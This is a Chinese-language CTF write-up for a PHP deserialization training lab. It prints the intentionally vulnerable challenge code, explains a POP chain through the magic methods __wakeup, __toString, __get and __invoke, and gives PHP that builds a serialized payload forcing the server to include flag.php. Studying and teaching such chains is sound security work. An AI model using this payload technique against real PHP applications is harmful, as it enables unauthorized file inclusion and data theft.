题目地址为:GitHub - mcc0624/php_ser_Class: php反序列化靶场
点击进入如下题
题目代码如下,其中像套娃一样,多次对魔术方法进行调用,挺烧脑。根据题目,显然目标是echo $flag
<?php
//flag is in flag.php
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){ //把对象当成函数调用触发
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){ //把对象当成字符串调用
return $this->str->source;
}
public function __wakeup(){ //反序列化之前触发__wakeup()
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){ //在实例化一个对象时
$this->p = array();
}
public function __get($key){ //调用的成员属性不存在。
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
像这种题,需要使用目标倒推法进行分析:
- 目标 触发echo输出flag,需让$value=flag.php,然后调用append(flag.php),invoke调用了append
- 触发invoke,调用append()。并使$var=flag.php。触发invoke条件:把对象当成函数。_get中返回了一个函数
- 让Test中的p属性=new Modifier,则会触发__invoke。那如何触发__get?调用的成员属性不存在则触发。
- Show中让$str=New Test(),Test中不存在source则会触发__get。那怎么触发__toString?把对象当成字符串调用则触发
- __wakeup中让source=new Show(),则触发__toString。如何触发__wakeup?反序列化则触发
倒退分析后,接着正推:
- 反序列化为Show对象触发wakeup()
- 并让show对象中的source属性=new show(),把对象当字符串输出, 触发tostring
- 接着让Show对象的str属性=New Test(),Test中不存在属性source,触发__get()。
- 让Test对象中$p属性=new Modifier(),把对象当函数返回,触发__invoke
- 让Modifier对象的私有var属性为=flag.php,调用append函数,输出flag
最后我们用代码实现pop链的构造
<?php
class Show{
public $source;
public $str;
public function __toString(){ //把对象当成字符串调用
return $this->str->source;
}
public function __wakeup(){ //反序列化之前触发__wakeup()
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){ //在实例化一个对象时
$this->p = array();
}
public function __get($key){ //调用的成员属性不存在。
$function = $this->p;
return $function();
}
}
class Modifier {
public $var; //先修改为public,方便调用
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){ //把对象当成函数调用触发
$this->append($this->var);
}
}
$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";
echo serialize($show);
?>
然后访问,输出反序列化字符串
需要把var改为私有属性
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
最后提交反序列化字符串,获取flag